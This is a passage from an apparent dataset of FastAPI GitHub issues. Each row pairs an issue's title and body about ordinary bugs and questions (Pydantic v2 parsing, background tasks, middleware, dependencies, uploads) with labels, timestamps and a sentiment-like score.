With pydantic<2 parameters are correctly parsed as int and UUID if an appropriate string is passed, with pydantic 2 they're always interpreted as str, I presume this will work the same way w... [TRUNCATED]",question,2024-03-05 09:57:58+00:00,2026-02-05 18:52:16+00:00,5,question,702.371,breaking change with path parameters when updating to pydantic from pydantic discussed in originally posted by thirvondukr march first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description with pydantic parameters are correctly parsed as int and uuid if an appropriate string is passed with pydantic they re always interpreted as str i presume this will work the same way w truncated,help,0.9136
tiangolo/fastapi,2164565414,lifespan  ,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

2024-03-02 11:52:11.406 | ERROR    | uvicorn.lifespan.on:send:123 - Traceback (most recent call last):
  File ""C:\Users\zyuvs\AppData\Local\pypoetry\Cache\virtualenvs\pp-nhJP3jIv-py3.10\lib\site-packages\starlette\routing.py"", line 677, in lifespan
    async with self.lifespan_context(app) as maybe_state:
TypeError: 'module' object is not callable",,2024-03-02 04:01:42+00:00,2024-03-02 09:09:57+00:00,0,nan,0.2141,lifespan privileged issue i m tiangolo or he asked me directly to create an issue here issue content error uvicorn lifespan on send traceback most recent call last file c users zyuvs appdata local pypoetry cache virtualenvs pp nhjp jiv py lib site packages starlette routing py line in lifespan async with self lifespan context app as maybe state typeerror module object is not callable,others,0.25
tiangolo/fastapi,2159166316,Potential footgun when using custom `Response(background=<Task()>)` in conjunction with injected `BackgroundTasks` - the custom response overwrites the tasks,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11214

<div type='discussions-op-text'>

<sup>Originally posted by **netanel-haber** February 28, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, BackgroundTasks
from starlette.responses import Response, BackgroundTask
import uvicorn

app = FastAPI()

@app.get(""/"")
async def endpoint(tasks: BackgroundTasks):
    tasks.add_task(lambda: print(""This won't be printed""))
    return Response(content=""Custom response"", background=BackgroundTask(lambda: print(""Only this will be printed"")))

uvicorn.run(app)
```


### Description

Hey! Thanks for the best framework in Pytho... [TRUNCATED]",question,2024-02-28 14:57:07+00:00,2026-05-18 13:07:26+00:00,7,question,809.9238,potential footgun when using custom in conjunction with injected the custom response overwrites the tasks discussed in originally posted by netanel haber february first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hey thanks for the best framework in pytho truncated,help,0.9731
tiangolo/fastapi,2158950740,axios can't receive error response status code,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Here is a middleware I defined:
class AccessControlMiddleware(BaseHTTPMiddleware):  
    async def dispatch(self, request: Request, call_next: Callable[..., Awaitable[Response]]) -> Response:  
        if request.url.path == '/api/forbidden':
            return Response(status_code=status.HTTP_403_FORBIDDEN, content=""Forbidden"")
        response = await call_next(request)
        return response

When I access an interface that does not exist, axios can know the 404 status code from the response, but when I access /api/forbidden, I cannot know the status code.

axios.get('http://127.0.0.1:8000/api/notfound').then(res => {
  console.log(res);
}).catch(err => {
  console.log(err.response); // axios error contains 404
});

axios.get('http://127.0.0.1:8000/api/forbidden').then(res => {
  console.log(res);
}).catch(err => {
  console.log(err.response); // undefined
})",,2024-02-28 13:16:25+00:00,2024-02-28 13:20:44+00:00,0,nan,0.003,axios can t receive error response status code privileged issue x i m tiangolo or he asked me directly to create an issue here issue content here is a middleware i defined class accesscontrolmiddleware basehttpmiddleware async def dispatch self request request call next callable awaitable response response if request url path api forbidden return response status code status http forbidden content forbidden response await call next request return response when i access an interface that does not exist axios can know the status code from the response but when i access api forbidden i cannot know the status code axios get console log res catch err console log err response axios error contains axios get console log res catch err console log err response undefined,bug,-0.8934
tiangolo/fastapi,2149066360,Support for Pydantic deprecated fields,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

First of all sorry for breaking the rule here by opening an issue instead of a discussion, but the discussion template isn't really relevant and I wanted to make sure it was visible.

A deprecated option is currently being added in Pydantic for fields: https://github.com/pydantic/pydantic/pull/8237

CI currently breaks when running FastAPI tests, as it seems to already support deprecated params with a boolean option. Did a quick look and `Param`, which inherits from `FieldInfo`, sets the `deprecated` boolean argument on the class while I implemented it as a string.

Not sure how to fix this, it's been a while since I've worked with FastAPI, but there may be some small room for changes in the upstream implementation if required. ","feature,p3",2024-02-22 13:21:26+00:00,2024-02-29 20:03:03+00:00,1,"feature,p3",7.2789,support for pydantic deprecated fields privileged issue x i m tiangolo or he asked me directly to create an issue here issue content first of all sorry for breaking the rule here by opening an issue instead of a discussion but the discussion template isn t really relevant and i wanted to make sure it was visible a deprecated option is currently being added in pydantic for fields ci currently breaks when running fastapi tests as it seems to already support deprecated params with a boolean option did a quick look and which inherits from sets the boolean argument on the class while i implemented it as a string not sure how to fix this it s been a while since i ve worked with fastapi but there may be some small room for changes in the upstream implementation if required,feature,0.9127
tiangolo/fastapi,2133918476,Context managers in `Depends` are broken after 0.106,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11107

<div type='discussions-op-text'>

<sup>Originally posted by **FeeeeK** February  7, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI, Request

app = FastAPI()


class Session:
    def __init__(self):
        print(""creating session"")

    async def __aenter__(self):
        print(""opening session"")
        return self

    async def __aexit__(self, exc_type, exc, tb):
        print(""closing session"")

    async def commit(self):
        print(""committing session"")

    async def rollback(self):
        print(""rolling back session"")


@app.middle... [TRUNCATED]",bug,2024-02-14 09:37:11+00:00,2025-09-29 03:50:19+00:00,41,bug,592.7591,context managers in are broken after discussed in originally posted by feeeek february first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import depends fastapi request app fastapi class session def init self print creating session async def aenter self print opening session return self async def aexit self exc type exc tb print closing session async def commit self print committing session async def rollback self print rolling back session app middle truncated,bug,0.9493
tiangolo/fastapi,2131649679,Use `RootModel` as query parameter,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11101

<div type='discussions-op-text'>

<sup>Originally posted by **WarpedPixel** February  6, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# fail.py
# uvicorn fail:app --reload

from fastapi import FastAPI
from pydantic import RootModel

SimpleID = RootModel[str]

app = FastAPI()

@app.get(""/test1"")
async def t1(param1: SimpleID):     # BUG: expected to be query param, but it is body
    return {""message"": f""Hello {param1}""}

# @app.get(""/test2"")
# async def t2(param1: Annotated[SimpleID, Query()]): # this workaround does NOT work
#     return {""message"": f""Hello {param1}""}

@app.get(""/t... [TRUNCATED]",question,2024-02-13 07:48:31+00:00,2026-02-05 18:47:58+00:00,8,question,723.458,use as query parameter discussed in originally posted by warpedpixel february first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python fail py uvicorn fail app reload from fastapi import fastapi from pydantic import rootmodel simpleid rootmodel str app fastapi app get test async def t param simpleid bug expected to be query param but it is body return message f hello param app get test async def t param annotated simpleid query this workaround does not work return message f hello param app get t truncated,help,-0.0772
tiangolo/fastapi,2122143014,[BUG] Upgrade python-mulipart==0.0.7 from low version fastapi upload file may be 400,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

> In order to fix the [security issue](https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389) of uploaded files, we upgraded the python-mulipart library, but this caused ""There was an error parsing the body"" to appear frequently when uploading files.
![image](https://github.com/tiangolo/fastapi/assets/53138073/ab35a6fd-ca76-4009-b225-bf821c362165)

- macos: 14.2.1 
- fastapi: 0.94.1
- python-multipart: 0.0.7 ",,2024-02-07 04:04:24+00:00,2024-02-09 16:25:00+00:00,4,nan,2.5143,bug upgrade python mulipart from low version fastapi upload file may be privileged issue x i m tiangolo or he asked me directly to create an issue here issue content in order to fix the security issue of uploaded files we upgraded the python mulipart library but this caused there was an error parsing the body to appear frequently when uploading files image macos fastapi python multipart,bug,-0.3818
tiangolo/fastapi,2104187935,How to fix this bug?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Python3.8.8\lib\site-packages\fastapi\params.py"", line 4, in <module>
    from pydantic.fields import FieldInfo, Undefined
ImportError: cannot import name 'Undefined' from 'pydantic.fields' (D:\Python3.8.8\lib\site-packages\pydantic\fields.py)",,2024-01-28 14:26:13+00:00,2024-01-29 08:51:30+00:00,2,nan,0.7676,how to fix this bug privileged issue x i m tiangolo or he asked me directly to create an issue here issue content python lib site packages fastapi params py line in from pydantic fields import fieldinfo undefined importerror cannot import name undefined from pydantic fields d python lib site packages pydantic fields py,bug,0.4588
tiangolo/fastapi,2103135915,[BUG] Using Nested Pydantic models and `params: MyModel = Depends()` forces OpenAPI docs GET methods to require a request body.,"### First check

* [x] I added a very descriptive title to this issue.
* [x] I used the GitHub search to find a similar issue and didn't find it.
* [ ] I searched the FastAPI documentation, with the integrated search.
  * Not familiar with the ""integrated search"".
* [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
* [x] I already read and followed all the tutorial in the docs and didn't find an answer.
* [x] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
* [x] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
* [x] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).
* [x] After submitting this, I commit to:
    * Read open issues with questions until I find 2 issues where I can help someone and add a comment to help there.
    * Or, I already hit the ""watch"" button in this repository to receive notifications and I commit to help at least 2 people that ask questions in the future.
    * Implement a Pull Request for a confirmed bug.

### Example

Here's a self-contained [minimal, reproducible, example](https://stackoverflow.com/help/minimal-reproducible-example) with my use case:


```Python
from fastapi import APIRouter, Depends, FastAPI, Query
from fastapi.responses import JSONResponse
from typing import List, Optional
from pydantic import ... [TRUNCATED]",,2024-01-27 02:07:54+00:00,2025-12-10 14:07:00+00:00,11,nan,683.4994,bug using nested pydantic models and forces openapi docs get methods to require a request body first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it i searched the fastapi documentation with the integrated search not familiar with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc x after submitting this i commit to read open issues with questions until i find issues where i can help someone and add a comment to help there or i already hit the watch button in this repository to receive notifications and i commit to help at least people that ask questions in the future implement a pull request for a confirmed bug example here s a self contained minimal reproducible example with my use case python from fastapi import apirouter depends fastapi query from fastapi responses import jsonresponse from typing import list optional from pydantic import truncated,bug,0.9032
tiangolo/fastapi,2092568771,OpenAPI Example with multipart/form-data not showing up,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10937

<div type='discussions-op-text'>

<sup>Originally posted by **SeeRich** January 11, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated
from fastapi import FastAPI, UploadFile, Form, File

# Run using uvicorn main:app --reload
# Visit: http://127.0.0.1:8000/docs

app = FastAPI()

@app.post(""/form-test"")
async def form_test(
        str_data: Annotated[str, Form(examples=[""HELLO""])],
        file: Annotated[UploadFile, File()]):
    return
```


### Description

The `HELLO` example is not shown in the docs.

![fastapi](https://github.com/tiangolo/fastapi/asset... [TRUNCATED]",bug,2024-01-21 12:40:27+00:00,2025-12-10 14:01:48+00:00,10,bug,689.0565,openapi example with multipart form data not showing up discussed in originally posted by seerich january first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the example is not shown in the docs fastapi truncated,bug,0.9136
tiangolo/fastapi,2092565180,Raw docstring (leading `r`) defeats form feed `\f` truncation,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10531

<div type='discussions-op-text'>

<sup>Originally posted by **jamesbraza** October 26, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.post(""/lof"")
def foo(arg: int = 5) -> int:
    """"""
    Some function.
    
    \f
    
    Args:
        arg: Some argument

    Returns:
        Some integer.
    """"""
    return arg
```


### Description

Running `ruff==0.1.3` on this, [`D301`](https://docs.astral.sh/ruff/rules/escape-sequence-in-docstring/) will autofix to make the docstring be a raw string (lead by `r`).

```python
@app.pos... [TRUNCATED]",feature,2024-01-21 12:30:04+00:00,2025-06-17 10:58:29+00:00,5,feature,512.9364,raw docstring leading defeats form feed truncation discussed in originally posted by jamesbraza october first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description running on this will autofix to make the docstring be a raw string lead by python app pos truncated,feature,0.9011
tiangolo/fastapi,2092553128,Using pydantic Json Type as Form data type doesn't work,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9305

<div type='discussions-op-text'>

<sup>Originally posted by **harpaj** March 23, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import FastAPI, Form
from pydantic import Json, BaseModel

app = FastAPI()


class JsonListModel(BaseModel):
    json_list: Json[list[str]]


@app.post(""/working"")
async def working(json_list: Annotated[str, Form()]) -> list[str]:
    model = JsonListModel(json_list=json_list)
    return model.json_list


@app.post(""/broken"")
async def broken(json_list: Annotated[Json[list[str]], Form()] ) -> list[str]:
    return j... [TRUNCATED]",question,2024-01-21 11:57:20+00:00,2026-02-05 18:35:13+00:00,5,question,746.2763,using pydantic json type as form data type doesn t work discussed in originally posted by harpaj march first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import annotated from fastapi import fastapi form from pydantic import json basemodel app fastapi class jsonlistmodel basemodel json list json list str app post working async def working json list annotated str form list str model jsonlistmodel json list json list return model json list app post broken async def broken json list annotated json list str form list str return j truncated,help,0.5267
tiangolo/fastapi,2089789753,No streaming interface can not support concurrency for  two fastapi servers ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content
I set up two fastapi server as follows.
![ff486bd749b1cd3bd95906a52c8620b](https://github.com/tiangolo/fastapi/assets/34344716/95c8b122-179f-41ef-8a77-6e4de52d85e2)

But I find that streaming interfaceface can support concurrency, but no streaming interface does. 
My code streaming interface follows:https://github.com/lm-sys/FastChat/blob/e86e70d0b48c3d6e2223de96b20e377315dbf73e/fastchat/serve/vllm_worker.py#L182
no streaming interface follows:https://github.com/lm-sys/FastChat/blob/e86e70d0b48c3d6e2223de96b20e377315dbf73e/fastchat/serve/vllm_worker.py#L192",,2024-01-19 07:09:18+00:00,2024-01-19 09:05:58+00:00,0,nan,0.081,no streaming interface can not support concurrency for two fastapi servers privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i set up two fastapi server as follows ff bd b cd bd a c b but i find that streaming interfaceface can support concurrency but no streaming interface does my code streaming interface follows no streaming interface follows,help,-0.7443
tiangolo/fastapi,2083826283,"""Behind a Proxy"" changed behaviour in the new version 0.109.0 (in Uvicorn)","### Discussed in https://github.com/tiangolo/fastapi/discussions/10948

This is related to a change in Starlette and Uvicorn, making them more formally follow the ASGI spec, Starlette already does since version 0.35.0 (recently), Uvicorn needs an equivalent change, in process on: https://github.com/encode/uvicorn/pull/2213

More details in the Starlette PR: https://github.com/encode/starlette/pull/2400

<div type='discussions-op-text'>

<sup>Originally posted by **neugeeug** January 12, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
uvicorn rest.main:server --host 0.0.0.0 --port 8080 --reload --root-path /proxy

server = FastAPI()

# separate spec at /v1/docs
serv... [TRUNCATED]",bug,2024-01-16 12:20:55+00:00,2024-01-19 14:02:25+00:00,13,bug,3.0705,behind a proxy changed behaviour in the new version in uvicorn discussed in this is related to a change in starlette and uvicorn making them more formally follow the asgi spec starlette already does since version recently uvicorn needs an equivalent change in process on more details in the starlette pr originally posted by neugeeug january first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python uvicorn rest main server host port reload root path proxy server fastapi separate spec at v docs serv truncated,bug,0.9136
tiangolo/fastapi,2078436386,[Docs] Incorrect link in SQL Databases Tutorial (Alembic Note ),"### Discussed in https://github.com/tiangolo/fastapi/discussions/10944

<div type='discussions-op-text'>

<sup>Originally posted by **micallefdaniel** January 12, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
You can find an example of Alembic in a FastAPI project in the templates from [Project Generation - Template](../project-generation.md){.internal-link target=_blank}. Specifically in <a href=""https://github.com/tiangolo/full-stack-fastapi-postgresql/tree/master/%7B%7Bcookiecutter.project_slug%7D%7D/backend/app/alembic/"" class=""external-link"" target=""_blank"">the `alembic` directory in the source code</a>.
```


### Description

Link to Alembic example in [SQL Da... [TRUNCATED]","good first issue,docs",2024-01-12 09:35:15+00:00,2024-01-12 13:43:59+00:00,1,"good first issue,docs",0.1727,docs incorrect link in sql databases tutorial alembic note discussed in originally posted by micallefdaniel january first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description link to alembic example in sql da truncated,bug,0.9136
tiangolo/fastapi,2059206524,Passing UploadFile objects into a StreamingResponse closes it in v0.106.0 but not v0.105.0,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10856

<div type='discussions-op-text'>

<sup>Originally posted by **adrwz** December 28, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
async def upload_file_event(files: List[UploadFile]):
    print(""2"", files[0].filename, files[0].file._file.closed)

    # ... more code ...


@router.post(""/upload_session_file"")
async def upload_file(files: List[UploadFile] = File(...)):
    print(""1"", files[0].filename, files[0].file._file.closed)

    try:
        return StreamingResponse(
            upload_file_event(files),
            media_type=""text/event-stream"",
        )
    except Exception as er... [TRUNCATED]",investigate,2023-12-29 08:46:25+00:00,2025-09-29 03:50:28+00:00,53,investigate,639.7945,passing uploadfile objects into a streamingresponse closes it in v but not v discussed in originally posted by adrwz december first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python async def upload file event files list uploadfile print files filename files file file closed more code router post upload session file async def upload file files list uploadfile file print files filename files file file closed try return streamingresponse upload file event files media type text event stream except exception as er truncated,others,0.9136
tiangolo/fastapi,2044884631,Old `HTTPValidationError` and `ValidationError` OpenAPI entry,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Those lines need to be updated:

https://github.com/tiangolo/fastapi/blob/36c26677682c4245183912e00fc057c05cc6cf7a/fastapi/openapi/utils.py#L36-L61

They reflect how it was before 0.100.0, but with Pydantic V2, that's no longer true.",bug,2023-12-16 18:07:30+00:00,2026-02-04 14:34:40+00:00,7,bug,780.8522,old and openapi entry privileged issue x i m tiangolo or he asked me directly to create an issue here issue content those lines need to be updated they reflect how it was before but with pydantic v that s no longer true,bug,0.5267
tiangolo/fastapi,2044875921,RequestValidationError is **not** a sub-class of Pydantic's ValidationError,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10421

<div type='discussions-op-text'>

<sup>Originally posted by **valentinoli** October 10, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.exception_handler(ValidationError)
async def validation_exception_handler(request: Request, exc: ValidationError):
    return PlainTextResponse(
        str(exc), status_code=status.HTTP_500_INTERNAL_SERVER_ERROR
    )
```


### Description

I was trying to handle both `RequestValidationError` and `ValidationError` by writing a custom handler for `ValidationError` but that doesn't work.

[The docs](https://fastapi.tiangolo.com/tutorial/handling-errors/#... [TRUNCATED]","question,docs",2023-12-16 17:48:02+00:00,2023-12-18 10:55:00+00:00,3,"question,docs",1.7132,requestvalidationerror is not a sub class of pydantic s validationerror discussed in originally posted by valentinoli october first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i was trying to handle both and by writing a custom handler for but that doesn t work the docs truncated,bug,0.9136
tiangolo/fastapi,2010968627,functools.partial() does not work on an async dependable,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9744

<div type='discussions-op-text'>

<sup>Originally posted by **lieryan** June 26, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from functools import partial

from fastapi import FastAPI, Depends


app = FastAPI()

def the_answer():
    return 42


async def dep1(
    n: int = Depends(the_answer),
):
    return n + 1

@app.get(""/"")
def main(
    d1=Depends(partial(dep1, n=10)),
):
    print(d1)   # prints ""<coroutine object dep1 at 0x7facc996fb50>""
    return {}


if __name__ == '__main__':
    import uvicorn
    uvicorn.run(app, port=1122)
```


### Description

